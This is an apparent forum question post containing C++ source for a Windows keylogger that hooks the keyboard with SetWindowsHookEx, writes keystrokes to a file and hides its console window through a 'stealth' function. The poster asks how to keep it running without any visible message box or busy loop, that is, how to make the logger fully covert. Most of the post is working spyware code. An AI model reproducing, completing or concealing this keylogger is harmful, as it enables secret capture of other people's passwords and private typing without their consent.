keylogger without loop and messagebox

[golihoy278]

#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>
#include<winuser.h>
using namespace std;

void stealth(){
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
}

ofstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

    // If key is being pressed
    if (wParam == WM_KEYDOWN) {
        switch (p->vkCode) {
            // Invisible keys
            case VK_CAPITAL:    out << "<CAPLOCK>";     break;
            case VK_SHIFT:      out << "<SHIFT>";       break;
            case VK_LCONTROL:   out << "<LCTRL>";       break;
            case VK_RCONTROL:   out << "<RCTRL>";       break;
            case VK_INSERT:     out << "<INSERT>";      break;
            case VK_END:        out << "<END>";         break;
            case VK_PRINT:      out << "<PRINT>";       break;
            case VK_DELETE:     out << "<DEL>";         break;
            case VK_BACK:       out << "<BK>";          break;
            case VK_LEFT:       out << "<LEFT>";        break;
            case VK_RIGHT:      out << "<RIGHT>";       break;
            case VK_UP:         out << "<UP>";          break;
            case VK_DOWN:       out << "<DOWN>";        break;
            // Visible keys
            default:
                out << char(tolower(p->vkCode));
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
    // Set windows hook
    stealth();
    HHOOK keyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        keyboardHookProc,
        hInstance,
        0);
    //MessageBox(NULL,"",NULL,NULL);
    MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
    out.close();
    return 0;
}

i got this code from somewhere and i added stealth function to it to hide the window , but now the problem is message box pops up which spoils the meaning of keylogger . if i remove the messagebox program exits .
is there a way to hold the program without using infinte loops to check for keyboard event (already did but that is consuming 50% cpu) and without something like messagebox that is visible.
Also if there is a way to hide messagebox , that could work.